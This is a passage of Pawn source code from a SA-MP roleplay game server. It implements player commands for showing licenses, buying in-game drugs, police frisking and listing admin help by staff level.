				format(string, sizeof(string), "** Flying License: %s(%d).", text4,PINFO[playerid][pFlyLic]);
				}
				else
				{
				format(string, sizeof(string), "** Flying License: %s.", text4);
				}
				SendMessage(playerid, COLOR_CRS2, string);
				if(PINFO[playerid][pBoatLic])
				{
				format(string, sizeof(string), "** Sailing License: %s(%d).", text2,PINFO[playerid][pBoatLic]);
				}
				else
				{
				format(string, sizeof(string), "** Sailing License: %s.", text2);
				}
				SendMessage(playerid, COLOR_CRS3, string);
				if(PINFO[playerid][pFishLic])
				{
				format(string, sizeof(string), "** Fishing License: %s(%d).", text3,PINFO[playerid][pFishLic]);
				}
				else
				{
				format(string, sizeof(string), "** Fishing License: %s.", text3);
				}
				SendMessage(playerid, COLOR_CRS3, string);
				if(PINFO[playerid][pGunLic])
				{
				format(string, sizeof(string), "** Weapon License: %s(%d).", text5,PINFO[playerid][pGunLic]);
				}
				else
				{
				format(string, sizeof(string), "** Weapon License: %s.", text5);
				}
				SendMessage(playerid, COLOR_CRS4, string);
				if(PINFO[playerid][pMatsLic])
				{
				format(string, sizeof(string), "** Materials License: %s(%d).", text6,PINFO[playerid][pMatsLic]);
				}
				else
				{
				format(string, sizeof(string), "** Materials License: %s.", text6);
				}
				SendMessage(playerid, COLOR_CRS4, string);
				SendMessage(playerid, CRISTIAN, "|______________________________________________|");
			}
			return 1;
		}
		if(strcmp(cmd,"/illegals",true)==0)// All Rights by Sina
		{
		SendMessage(playerid, COLOR_GREEN, "|_________________[Illegals]_________________|");
		new facid;
		if(PINFO[playerid][pLeader] >= 1) facid = PINFO[playerid][pLeader];
		if(PINFO[playerid][pLeader] != 0 && PINFO[playerid][pMember] >= 1) facid = PINFO[playerid][pMember];
		if(PlayerInfo[playerid][pMatsLic] == 0)
		{
		format(string, sizeof(string), "{FF00FF}Your Materials: %d ({00FF00} Illegal for you{FF00FF} )", PlayerInfo[playerid][pMats]);
		SendMessage(playerid, COLOR_SINA2, string);
		if(facid != 5 && facid != 6 && facid != 12 && facid != 13 && facid != 14 && facid != 15)
		{
		format(string, sizeof(string), "{FF00FF}Your Drugs: %d ({FF0000} Illegal for you{FF00FF} )", PlayerInfo[playerid][pDrugs]);
		SendMessage(playerid, COLOR_SINA2, string);
		}
		else
		{
		format(string, sizeof(string), "{FF00FF}Your Drugs: %d ({00FF00} Legal for you{FF00FF} )", PlayerInfo[playerid][pDrugs]);
		SendMessage(playerid, COLOR_SINA2, string);
		}
		} else {
		format(string, sizeof(string), "{FF00FF}Your Materials: %d ({00FF00} Legal for you{FF00FF} )", PlayerInfo[playerid][pMats]);
		SendMessage(playerid, COLOR_SINA2, string);
		if(facid != 5 && facid != 6 && facid != 12 && facid != 13 && facid != 14 && facid != 15)
		{
		format(string, sizeof(string), "{FF00FF}Your Drugs: %d ({FF0000} Illegal for you{FF00FF} )", PlayerInfo[playerid][pDrugs]);
		SendMessage(playerid, COLOR_SINA2, string);
		}
		else
		{
		format(string, sizeof(string), "{FF00FF}Your Drugs: %d ({00FF00} Legal for you{FF00FF} )", PlayerInfo[playerid][pDrugs]);
		SendMessage(playerid, COLOR_SINA2, string);
		}
		}
		SendMessage(playerid, COLOR_GREEN, "|____________________________________________|");
		return 1;
		}
		
		
		
		
		
		if(strcmp(cmd,"/hosterlic",true)==0)// All Rights by Sina
		{
		if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
		{
		SendMessage(playerid, COLOR_GREEN, "|_________________[Hoster-License]_________________|");
		if(PlayerInfo[playerid][pHAgr] == 0)
		{
		format(string, sizeof(string), "{FF00FF}[Hoster-License]:{FFFF00} You {FF0000}don't have{FFFF00} Hoster-License.", PlayerInfo[playerid][pMats]);
		SendMessage(playerid, COLOR_SINA2, string);
		}
		if(PlayerInfo[playerid][pHAgr] >= 1)
		{
		format(string, sizeof(string), "{FF00FF}[Hoster-License]:{FFFF00} You {00FF00}have{FFFF00} Hoster-License.", PlayerInfo[playerid][pMats]);
		SendMessage(playerid, COLOR_SINA2, string);
		}
		SendMessage(playerid, COLOR_GREEN, "|____________________________________________|");
		return 1;
		}
		}
		
		
		
		
		
		
		
		if(strcmp(cmd,"/showlicenses",true)==0 || strcmp(cmd,"/sl",true)==0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /showlicenses <Playerid/PartOfName>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				if(IsPlayerConnected(giveplayerid))
				{
					if(giveplayerid != INVALID_PLAYER_ID)
					{
						if (ProxDetectorS(8.0, playerid, giveplayerid))
						{
							if(giveplayerid == playerid) { SendMessage(playerid, COLOR_GREY, "You cannot Show Licenses to yourself, use /licenses!"); return 1; }
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
						new text1[20];
							new text2[20];
							new text3[20];
							new text4[20];
							new text5[20];
						new text6[20];
							new string1[256];
							new string2[256];
							new string3[256];
							new maxstr[256];
							if(PlayerInfo[playerid][pCarLic] && PINFO[playerid][pCarLicS] == 0) { text1 = "Passed"; } else if(PINFO[playerid][pCarLicS] > 0) { text1 = "Suspended"; } else if(PINFO[playerid][pCarLic] == 0 && PINFO[playerid][pCarLicS] == 0) { text1 = "Not Passed"; }
							if(PlayerInfo[playerid][pFlyLic] && PINFO[playerid][pFlyLicS] == 0) { text4 = "Passed"; } else if(PINFO[playerid][pFlyLicS] > 0) { text4 = "Suspended"; } else if(PINFO[playerid][pFlyLic] == 0 && PINFO[playerid][pFlyLicS] == 0) { text4 = "Not Passed"; }
							if(PlayerInfo[playerid][pBoatLic] && PINFO[playerid][pBoatLicS] == 0) { text2 = "Passed"; } else if(PINFO[playerid][pBoatLicS] > 0) { text2 = "Suspended"; } else if(PINFO[playerid][pBoatLic] == 0 && PINFO[playerid][pBoatLicS] == 0) { text2 = "Not Passed"; }
							if(PlayerInfo[playerid][pFishLic]) { text3 = "Passed"; } else { text3 = "Not Passed"; }
							if(PlayerInfo[playerid][pGunLic] && PINFO[playerid][pGunLicS] == 0) { text5 = "Passed"; } else if(PINFO[playerid][pGunLicS] > 0) { text5 = "Suspended"; } else if(PINFO[playerid][pGunLic] == 0 && PINFO[playerid][pGunLicS] == 0) { text5 = "Not Passed"; }
							if(PlayerInfo[playerid][pMatsLic] && PINFO[playerid][pMatsLicS] == 0) { text6 = "Passed"; } else if(PINFO[playerid][pMatsLicS] > 0) { text6 = "Suspended"; } else if(PINFO[playerid][pMatsLic] == 0 && PINFO[playerid][pMatsLicS] == 0) { text6 = "Not Passed"; }
							format(string, sizeof(string), "|__________ Licenses of %s __________|", sendername);
							SendMessage(giveplayerid, CRISTIAN, string);
							if(PINFO[playerid][pCarLic])
							{
							format(string, sizeof(string), "** Drivers License: %s(%d).", text1,PINFO[playerid][pCarLic]);
							}
							else
							{
							format(string, sizeof(string), "** Drivers License: %s.", text1);
							}
							SendMessage(giveplayerid, COLOR_GRAD6, string);
							if(PINFO[playerid][pFlyLic])
							{
							format(string, sizeof(string), "** Flying License: %s(%d).", text4,PINFO[playerid][pFlyLic]);
							}
							else
							{
							format(string, sizeof(string), "** Flying License: %s.", text4);
							}
							SendMessage(giveplayerid, COLOR_GRAD5, string);
							if(PINFO[playerid][pBoatLic])
							{
							format(string, sizeof(string), "** Sailing License: %s(%d).", text2,PINFO[playerid][pBoatLic]);
							}
							else
							{
							format(string, sizeof(string), "** Sailing License: %s.", text2);
							}
							SendMessage(giveplayerid, COLOR_GRAD4, string);
							if(PINFO[playerid][pFishLic])
							{
							format(string, sizeof(string), "** Fishing License: %s(%d).", text3,PINFO[playerid][pFishLic]);
							}
							else
							{
							format(string, sizeof(string), "** Fishing License: %s.", text3);
							}
							SendMessage(giveplayerid, COLOR_GRAD3, string);
							if(PINFO[playerid][pGunLic])
							{
							format(string, sizeof(string), "** Weapon License: %s(%d).", text5,PINFO[playerid][pGunLic]);
							}
							else
							{
							format(string, sizeof(string), "** Weapon License: %s.", text5);
							}
							SendMessage(giveplayerid, COLOR_GRAD2, string);
							if(PINFO[playerid][pMatsLic])
							{
							format(string, sizeof(string), "** Materials License: %s(%d).", text6,PINFO[playerid][pMatsLic]);
							}
							else
							{
							format(string, sizeof(string), "** Materials License: %s.", text6);
							}
							SendMessage(giveplayerid, COLOR_GRAD1, string);
							format(string, sizeof(string), "* %s has shown %s Licenses to you.", sendername, (PINFO[playerid][pSex]==1)?("his"):("her"));
							SendMessage(giveplayerid, COLOR_YELLOW, string);
							format(string, sizeof(string), "* You have shown your Licenses to %s.", giveplayer);
							SendMessage(playerid, COLOR_YELLOW, string);
							format(string1, 1024, "{26B0BA}|________Licenses of %s________|", sendername);
							format(string2, 1024, "{E5E3B3}Drivers License: {26B0BA}%s \n{E5E3B3}Flying License: {26B0BA}%s \n{E5E3B3}Sailing License: {26B0BA}%s \n{E5E3B3}Fishing License: {26B0BA}%s",text1, text4, text2, text3);
							format(string3, 1024, "{E5E3B3}Weapon License: {26B0BA}%s \n____________________________________",text5);
							format(maxstr, 2000, "%s\n%s\n%s",string1,string2,string3);
							ShowPlayerDialog(playerid, 428, DIALOG_STYLE_MSGBOX, "", maxstr, "Cancel","");
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "That player is not near you");
							return 1;
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "That player is Offline");
					return 1;
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/buydrugs", true) == 0)
		{
		  if(IsPlayerConnected(playerid))
		  {
		  new strinng[256];
		  new strings[128];
			if(!PlayerToPoint(100.0,playerid,323.507873,1117.880981,1083.882812)) return SCM(playerid,COLOR_LIGHTRED,"you are not in Crack house.");
			if(PlayerInfo[playerid][pJob] == 4)
			{
			new amount;
			tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) { SCM(playerid,COL_SYN,"Syntax: /buydrugs <Amount>"); return 1; }
				amount = strval(tmp);
				new drugskill = PlayerInfo[playerid][pDrugsSkill];
				if(drugskill < 50) { if(amount > 10-PINFO[playerid][pDrugs] || amount < 0 || PlayerInfo[playerid][pDrugs] >= 10) { SCM(playerid, COLOR_WHITE, "maximum amount for this skill level is 10/Invalid amount/you have more than 10 drugs"); return 1; }}
				if(drugskill >= 50 && drugskill < 100) { if(amount > 20-PINFO[playerid][pDrugs] || amount < 0 || PlayerInfo[playerid][pDrugs] >= 20) { SCM(playerid, COLOR_WHITE, "maximum amount for this skill level is 20 / Invalid amount/you have more than 20 drugs"); return 1; }}
				if(drugskill >= 100 && drugskill < 200) { if(amount > 30-PINFO[playerid][pDrugs] || amount < 0 || PlayerInfo[playerid][pDrugs] >= 30) { SCM(playerid, COLOR_WHITE, "maximum amount for this skill level is 30 / Invalid amount/you have more than 30 drugs"); return 1; }}
				if(drugskill >= 200 && drugskill < 400) { if(amount > 40-PINFO[playerid][pDrugs] || amount < 0 || PlayerInfo[playerid][pDrugs] >= 40) { SCM(playerid, COLOR_WHITE, "maximum amount for this skill level is 40 / Invalid amount/you have more than 40 drugs"); return 1; }}
				if(drugskill >= 400) { if(amount > 60-PINFO[playerid][pDrugs] || amount < 0 || PlayerInfo[playerid][pDrugs] >= 60) { SCM(playerid, COLOR_WHITE, "maximum amount for this skill level is 60 / Invalid amount/you have more than 60 drugs"); return 1; }}
			PlayerInfo[playerid][pDrugs] += amount;
			SaveKonVal(playerid, "pDrugs", PINFO[playerid][pDrugs]);
			new price = amount * 1;
			GivePlayerPool(playerid, -price);
			format(strinng, sizeof(strinng), "You bought {FFFFFF}%d {FF6347}grams of Drug for {FFFFFF}$%s {FF6347}Cash", amount, FormatNumber(price));
			SCM(playerid,COLOR_LIGHTRED,strinng);
			format(strings, sizeof(strings), "~r~-$%d",price);
			GameTextForPlayer(playerid, strings, 5000, 1);
			PlayerPlaySound(playerid,1084,0.0,0.0,0.0);
			return 1;
			}
			else
			{
			SCM(playerid,COLOR_LIGHTRED,"you are not a Drugs dealer.");
			return 1;
			}
		  }
		}
		if(strcmp(cmd,"/frisk",true)==0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(!IsACop(playerid)) return SCM(playerid,COLOR_BLUE,"You are not a Cop.");
			if(OnDuty[playerid] != 1)
				{
					SendMessage(playerid, COLOR_BLUE, "You are not on-Duty.");
					return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /frisk <Playerid/PartOfName>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				if(IsPlayerConnected(giveplayerid))
				{
					if(giveplayerid != INVALID_PLAYER_ID)
					{
						if (ProxDetectorS(8.0, playerid, giveplayerid))
						{
							if(giveplayerid == playerid) { SendMessage(playerid, COLOR_GREY, "You cannot Frisk yourself!"); return 1; }
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							new text1[20], text2[20], text6[20];
							if(PlayerInfo[giveplayerid][pDrugs] > 0 && PlayerInfo[giveplayerid][pSex] == 1) { text1 = "He has."; } else if(PlayerInfo[giveplayerid][pDrugs] <= 0 && PlayerInfo[giveplayerid][pSex] == 1) { text1 = "He hasn't."; }
							if(PlayerInfo[giveplayerid][pDrugs] > 0 && PlayerInfo[giveplayerid][pSex] != 1) { text1 = "She has."; } else if(PlayerInfo[giveplayerid][pDrugs] <= 0 && PlayerInfo[giveplayerid][pSex] != 1) { text1 = "She hasn't."; }
							if(PlayerInfo[giveplayerid][pMats] > 0 && PlayerInfo[giveplayerid][pSex] == 1) { text2 = "He has."; } else if(PlayerInfo[giveplayerid][pDrugs] <= 0 && PlayerInfo[giveplayerid][pSex] == 1) { text2 = "He hasn't."; }
							if(PlayerInfo[giveplayerid][pMats] > 0 && PlayerInfo[giveplayerid][pSex] != 1) { text2 = "She has."; } else if(PlayerInfo[giveplayerid][pDrugs] <= 0 && PlayerInfo[giveplayerid][pSex] != 1) { text2 = "She hasn't."; }
							new sweapon, sammo;
							if(PlayerInfo[giveplayerid][pSex] == 1) text6 = "He hasn't.";
							if(PlayerInfo[giveplayerid][pSex] != 1) text6 = "She hasn't.";
							for (new i=0; i<9; i++)
							{
								GetPlayerWeaponData(giveplayerid, i, sweapon, sammo);
								if(sweapon != 0 && sammo != 0)
								{
									if(PlayerInfo[giveplayerid][pSex] == 1) text6 = "He has.";
									if(PlayerInfo[giveplayerid][pSex] != 1) text6 = "She has.";
								}
							}
							format(string, sizeof(string), "|__________ Items with %s __________|", giveplayer);
							SendMessage(playerid, COLOR_WHITE, string);
							format(string, sizeof(string), "Drugs: %s.", text1);
							SendMessage(playerid, COLOR_GREY, string);
							format(string, sizeof(string), "Materials: %s.", text2);
							SendMessage(playerid, COLOR_GREY, string);
							format(string, sizeof(string), "Weapons: %s.", text6);
							SendMessage(playerid, COLOR_GREY, string);
							PlayerInfo[playerid][pFAct2] += 1;
				            SaveKonVal(playerid, "pFAct2", PINFO[playerid][pFAct2]);
							if(PlayerInfo[giveplayerid][pSex] == 1) { format(string, sizeof(string), "%s taps %s all over his body and searches for some items.", sendername ,giveplayer); }
							else { format(string, sizeof(string), "%s taps %s all over her body and searches for some items.", sendername ,giveplayer); }
							ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "That player is not near you");
							return 1;
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "That player is Offline");
					return 1;
				}
			}
			return 1;
		}
		/*
	//---------------------------------------------------------------------------------------
		if(strcmp(cmdtext, "/adminhelp", true) == 0 || !strcmp(cmd, "/adh", true))
{
		if(IsPlayerConnected(playerid))
		{
		if(PlayerInfo[playerid][pAdmin] == 0)
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
			 return 1;
		 }
			new adminhelp[1024];
			if(PlayerInfo[playerid][pAdmin] >= 1)
			{
			format(adminhelp,sizeof(adminhelp),"{00FF00}Admin Level 1\n{FF0000}Admin Level 2\n{FF0000}Admin Level 3\n{FF0000}Admin Level 4\n{FF0000}Admin Level 5\n{FF0000}Supervisor\n{FF0000}HosterLvl 1\n{FF0000}HosterLvl 3\n{FF0000}HosterLvl 6\n{FF0000}CM Assistant\n{FF0000}CM Manager\n{FF0000}CM Founder");
			ShowPlayerDialog(playerid,1879,DIALOG_STYLE_LIST,"AdminHelp | Adm: 1",adminhelp,"Select","Cancel");
			}
			if(PlayerInfo[playerid][pAdmin] >= 2)
			{
			format(adminhelp,sizeof(adminhelp),"{00FF00}Admin Level 1\n{00FF00}Admin Level 2\n{FF0000}Admin Level 3\n{FF0000}Admin Level 4\n{FF0000}Admin Level 5\n{FF0000}Supervisor\n{FF0000}HosterLvl 1\n{FF0000}HosterLvl 3\n{FF0000}HosterLvl 6\n{FF0000}CM Assistant\n{FF0000}CM Manager\n{FF0000}CM Founder");
			ShowPlayerDialog(playerid,1879,DIALOG_STYLE_LIST,"AdminHelp | Adm: 2",adminhelp,"Select","Cancel");
			}
			if(PlayerInfo[playerid][pAdmin] >= 3)
			{
			format(adminhelp,sizeof(adminhelp),"{00FF00}Admin Level 1\n{00FF00}Admin Level 2\n{00FF00}Admin Level 3\n{FF0000}Admin Level 4\n{FF0000}Admin Level 5\n{FF0000}Supervisor\n{FF0000}HosterLvl 1\n{FF0000}HosterLvl 3\n{FF0000}HosterLvl 6\n{FF0000}CM Assistant\n{FF0000}CM Manager\n{FF0000}CM Founder");
			ShowPlayerDialog(playerid,1879,DIALOG_STYLE_LIST,"AdminHelp | Adm: 3",adminhelp,"Select","Cancel");
			}
			if(PlayerInfo[playerid][pAdmin] >= 4)
			{
			format(adminhelp,sizeof(adminhelp),"{00FF00}Admin Level 1\n{00FF00}Admin Level 2\n{00FF00}Admin Level 3\n{00FF00}Admin Level 4\n{FF0000}Admin Level 5\n{FF0000}Supervisor\n{FF0000}HosterLvl 1\n{FF0000}HosterLvl 3\n{FF0000}HosterLvl 6\n{FF0000}CM Assistant\n{FF0000}CM Manager\n{FF0000}CM Founder");
			ShowPlayerDialog(playerid,1879,DIALOG_STYLE_LIST,"AdminHelp | Adm: 4",adminhelp,"Select","Cancel");
			}
			if(PlayerInfo[playerid][pAdmin] >= 5)
			{
			format(adminhelp,sizeof(adminhelp),"{00FF00}Admin Level 1\n{00FF00}Admin Level 2\n{00FF00}Admin Level 3\n{00FF00}Admin Level 4\n{00FF00}Admin Level 5\n{FF0000}Supervisor\n{FF0000}HosterLvl 1\n{FF0000}HosterLvl 3\n{FF0000}HosterLvl 6\n{FF0000}CM Assistant\n{FF0000}CM Manager\n{FF0000}CM Founder");
			ShowPlayerDialog(playerid,1879,DIALOG_STYLE_LIST,"AdminHelp | Adm: 5",adminhelp,"Select","Cancel");
			}
			if(PlayerInfo[playerid][pAdmin] >= 6)
			{
			format(adminhelp,sizeof(adminhelp),"{00FF00}Admin Level 1\n{00FF00}Admin Level 2\n{00FF00}Admin Level 3\n{00FF00}Admin Level 4\n{00FF00}Admin Level 5\n{00FF00}Supervisor\n{FF0000}HosterLvl 1\n{FF0000}HosterLvl 3\n{FF0000}HosterLvl 6\n{FF0000}CM Assistant\n{FF0000}CM Manager\n{FF0000}CM Founder");
			ShowPlayerDialog(playerid,1879,DIALOG_STYLE_LIST,"AdminHelp | Adm: Supervisor",adminhelp,"Select","Cancel");
			}
			if(PlayerInfo[playerid][pAdmin] >= 7)
			{
			format(adminhelp,sizeof(adminhelp),"{00FF00}Admin Level 1\n{00FF00}Admin Level 2\n{00FF00}Admin Level 3\n{00FF00}Admin Level 4\n{00FF00}Admin Level 5\n{00FF00}Supervisor\n{00FF00}HosterLvl 1\n{FF0000}HosterLvl 3\n{FF0000}HosterLvl 6\n{FF0000}CM Assistant\n{FF0000}CM Manager\n{FF0000}CM Founder");
			ShowPlayerDialog(playerid,1879,DIALOG_STYLE_LIST,"AdminHelp | Adm: Hoster 1",adminhelp,"Select","Cancel");
			}
			if(PlayerInfo[playerid][pAdmin] >= 8)
			{
			format(adminhelp,sizeof(adminhelp),"{00FF00}Admin Level 1\n{00FF00}Admin Level 2\n{00FF00}Admin Level 3\n{00FF00}Admin Level 4\n{00FF00}Admin Level 5\n{00FF00}Supervisor\n{00FF00}HosterLvl 1\n{00FF00}HosterLvl 3\n{FF0000}HosterLvl 6\n{FF0000}CM Assistant\n{FF0000}CM Manager\n{FF0000}CM Founder");
			ShowPlayerDialog(playerid,1879,DIALOG_STYLE_LIST,"AdminHelp | Adm: Hoster 3",adminhelp,"Select","Cancel");
			}
			if(PlayerInfo[playerid][pAdmin] >= 9)
			{
			format(adminhelp,sizeof(adminhelp),"{00FF00}Admin Level 1\n{00FF00}Admin Level 2\n{00FF00}Admin Level 3\n{00FF00}Admin Level 4\n{00FF00}Admin Level 5\n{00FF00}Supervisor\n{00FF00}HosterLvl 1\n{00FF00}HosterLvl 3\n{00FF00}HosterLvl 6\n{FF0000}CM Assistant\n{FF0000}CM Manager\n{FF0000}CM Founder");
			ShowPlayerDialog(playerid,1879,DIALOG_STYLE_LIST,"AdminHelp | Adm: Hoster 6",adminhelp,"Select","Cancel");
			}
			if(PlayerInfo[playerid][pAdmin] >= 10)
			{
			format(adminhelp,sizeof(adminhelp),"{00FF00}Admin Level 1\n{00FF00}Admin Level 2\n{00FF00}Admin Level 3\n{00FF00}Admin Level 4\n{00FF00}Admin Level 5\n{00FF00}Supervisor\n{00FF00}HosterLvl 1\n{00FF00}HosterLvl 3\n{00FF00}HosterLvl 6\n{00FF00}CM Assistant\n{FF0000}CM Manager\n{FF0000}CM Founder");
			ShowPlayerDialog(playerid,1879,DIALOG_STYLE_LIST,"AdminHelp | Adm: Assistant",adminhelp,"Select","Cancel");
			}
			if(PlayerInfo[playerid][pAdmin] >= 11)
			{
			format(adminhelp,sizeof(adminhelp),"{00FF00}Admin Level 1\n{00FF00}Admin Level 2\n{00FF00}Admin Level 3\n{00FF00}Admin Level 4\n{00FF00}Admin Level 5\n{00FF00}Supervisor\n{00FF00}HosterLvl 1\n{00FF00}HosterLvl 3\n{00FF00}HosterLvl 6\n{00FF00}CM Assistant\n{00FF00}CM Manager\n{FF0000}CM Founder");
			ShowPlayerDialog(playerid,1879,DIALOG_STYLE_LIST,"AdminHelp | Adm: CM Manager",adminhelp,"Select","Cancel");
			}
			if(PlayerInfo[playerid][pAdmin] >= 12)
			{
			format(adminhelp,sizeof(adminhelp),"{00FF00}Admin Level 1\n{00FF00}Admin Level 2\n{00FF00}Admin Level 3\n{00FF00}Admin Level 4\n{00FF00}Admin Level 5\n{00FF00}Supervisor\n{00FF00}HosterLvl 1\n{00FF00}HosterLvl 3\n{00FF00}HosterLvl 6\n{00FF00}CM Assistant\n{00FF00}CM Manager\n{00FF00}CM Founder");
			ShowPlayerDialog(playerid,1879,DIALOG_STYLE_LIST,"AdminHelp | Adm: CM Founder",adminhelp,"Select","Cancel");
			}
		}
	return 1;
} //                      All Rights /Adh Created by Sina ( Dialog!! )
*/
	//--------f----------------------------------------------------------------------
	// rep
	
	
	
	
	
	if(strcmp(cmd,"/adh",true)==0) {
	   if(IsPlayerConnected(playerid)) {
		  if (PlayerInfo[playerid][pAdmin] >= 1) {
			 new x_nr[256];
			 x_nr = strtok(cmdtext, idx);
			 if(!strlen(x_nr)) {
				SCM(playerid, CRISTIAN, "___________________________________________");
				SCM(playerid, COL_SYN, "Syntax: /Adh <Admin Level>");
				SCM(playerid, COLOR_GRAD2, "Available admin levels: 1 = (Admin Level 1), 2 = (Admin Level 2), 3 = (Admin Level 3)");
				SCM(playerid, COLOR_GRAD2, "Available admin levels: 4 = (Admin Level 4), 5 = (Admin Level 5), 6 = (Admin Level 6)");
				SCM(playerid, COLOR_GRAD2, "Available admin levels: 7 = (Hoster Level 1), 8 = (Hoster Level 3), 9 = (Hoster Level 6)");
				SCM(playerid, COLOR_GRAD2, "Available admin levels: 10 = (Assistant), 11 = (CM Manager), 12 = (CM Founder)");
				SCM(playerid, COLOR_GRAD2, "Available admin levels: 13 = (CM Scripter)");
				return 1; }
			 if(strcmp(x_nr,"1",true) == 0) {
				if (PlayerInfo[playerid][pAdmin] >= 1) {
					SCM(playerid, CRISTIAN,"_______________________________________");
					SCM(playerid, COLOR_WHITE,"*** ADMIN HELP *** type a command for more help");
					SCM(playerid, COLOR_GRAD2, "*** Admin Level 1  ***  /adh, /arg, /idban, /specoff(/so), /checkweapons, /idajail, /unfreeze, /gotobankls, /gotols, /message");
					SCM(playerid, COLOR_GRAD2, "*** Admin Level 1  ***  /cca, /creport(/cr), /reports, /al, /ipsban, /cancelad, /e, /staffshop, /hwid, /dethwid, /facinfo, /cban");
					SCM(playerid, COLOR_GRAD2, "*** Admin Level 1  ***  /specplayer(/sp), /goback, /slap, /idmute, /sban, /sar, /aaevent, /stopevent, /getpos, /cna, /asvstats");
					SCM(playerid, COLOR_GRAD2, "*** Admin Level 1  ***  /staffshopstats, /ags, /gotocnn, /gotods, /gototemple, /quitwarn, /detcon, /tban, /joinwarn, /count");
					SCM(playerid, COLOR_GRAD2, "*** Admin Level 1  ***  /kick, /warn, /ban, /gotolist, /respawn, /skick, /arelog, /acheckjob, /gotochilliand, /asl, /ccd, /checkref");
					SCM(playerid, COLOR_GRAD2, "*** Admin Level 1  ***  /o, /pm, /a, /ajail, /gotocivil, /goto, /idsban, /mysactivity, /[acc]eptevent, /gotobanklv, /ccp, /checkmsgs");}  }
			 else if(strcmp(x_nr,"2",true) == 0) {
				if (PlayerInfo[playerid][pAdmin] >= 2) {
					SCM(playerid, CRISTIAN,"_______________________________________");
					SCM(playerid, COLOR_WHITE,"*** ADMIN HELP *** type a command for more help");
					SCM(playerid, COLOR_GRAD2,"*** Admin Level 2  *** /takegun, /unfreezeall, /jetpack");
					SCM(playerid, COLOR_GRAD2,"*** Admin Level 2  *** /freeze, /rpfv, /autojetpack, /hwbans"); }  }
			 else if(strcmp(x_nr,"3",true) == 0) {
				if (PlayerInfo[playerid][pAdmin] >= 3) {
					SCM(playerid, CRISTIAN,"_______________________________________");
					SCM(playerid, COLOR_WHITE,"*** ADMIN HELP *** type a command for more help");
					SCM(playerid, COLOR_GRAD2,"*** Admin Level 3  *** /freezeall, /sethpall, /setarmourall, /fav, /package");
					SCM(playerid, COLOR_GRAD2,"*** Admin Level 3  *** /gotolv, /gotosf, /uup, /rac, /front, /right");}  }
			 else if(strcmp(x_nr,"4",true) == 0) {
				if (PlayerInfo[playerid][pAdmin] >= 4) {
					SCM(playerid, CRISTIAN,"_______________________________________");
					SCM(playerid, COLOR_WHITE,"*** ADMIN HELP *** type a command for more help");
					SCM(playerid, COLOR_GRAD2,"*** Admin Level 4  *** /dv, /dva, /setint, /setvw, /gotosft, /amodveh, /favall, /gotopveh, /rboombox");
					SCM(playerid, COLOR_GRAD2,"*** Admin Level 4  *** /entercar, /gethere, /getcar, /setarmour, /gh, /adrag, /mark, /gotomark");}  }
			 else if(strcmp(x_nr,"5",true) == 0) {
				if (PlayerInfo[playerid][pAdmin] >= 5) {
					SCM(playerid, CRISTIAN,"_______________________________________");
					SCM(playerid, COLOR_WHITE,"*** ADMIN HELP *** type a command for more help");
					SCM(playerid, COLOR_GRAD2,"*** Admin Level 5 *** /racd, /lockengine, /unlockengine, /rtc, /gotointerior, /setmypos, /getfps");
					SCM(playerid, COLOR_GRAD2,"*** Admin Level 5 *** /respawncar, /vehslap, /supervehslap /vehex, /vehcolor, /vehid, /lockcar");
					SCM(playerid, COLOR_GRAD2,"*** Admin Level 5 *** /afcheck, /takegunall, /ggall, /gg, /veh, /rav, /ravall, /weather, /fsup, /unlockcar"); }  }
			 else if(strcmp(x_nr,"6",true) == 0) {
				if (PlayerInfo[playerid][pAdmin] >= 6) {
					SCM(playerid, CRISTIAN,"_______________________________________");
					SCM(playerid, COLOR_WHITE,"*** ADMIN HELP *** type a command for more help");
					SCM(playerid, COLOR_GRAD2,"*** Supervisor ***  /fixvehall, /adivorce, /flip, /afill, /ahrec, /ahelpers, /uptime, /detip, /fminlevel, /staffmsg, /cwar, /unhwban");
					SCM(playerid, COLOR_GRAD2,"*** Supervisor ***  /makeleader, /av, /unav, /unmute, /ahrec, /ffnn, /checkoffline, /rec, /resetdis, /fmaxmembers, /fillveh");
					SCM(playerid, COLOR_GRAD2,"*** Supervisor ***  /susban, /sgh, /checknc, /gotocar, /smeetingtime, /permissions, /stoppb, /stopsmeeting, /endwar, /hwban");
					SCM(playerid, COLOR_GRAD2,"*** Supervisor ***  /unjail, /unban, /surf, /nitro, /fixveh, /checkav, /aleaders, /resetsactivity, /faclock, /ftc, /checkcl");
					SCM(playerid, COLOR_GRAD2,"*** Supervisor ***  /setturfowner, /makehelper, /stopwar, /auninvite, /showsactivity, /clearwanted, /unsurf, /nicklog, /endwar2"); }  }
			 else if(strcmp(x_nr,"7",true) == 0) {
				if (PlayerInfo[playerid][pAdmin] >= 7) {
					SCM(playerid, CRISTIAN,"_______________________________________");
					SCM(playerid, COLOR_WHITE,"*** ADMIN HELP *** type a command for more help");
					SCM(playerid, COLOR_GRAD2,"*** Hoster Level 1 ***  /dfind, /gm, /gotohouse, /setskin, /deleteonme, /fss, /mapclick");
					SCM(playerid, COLOR_GRAD2,"*** Hoster Level 1 ***  /gotobiz, /gotosbiz, /onme, /akiss, /afightstyle, /autogm"); }  }
				else if(strcmp(x_nr,"8",true) == 0) {
				if (PlayerInfo[playerid][pAdmin] >= 8) {
					SCM(playerid, CRISTIAN,"_______________________________________");
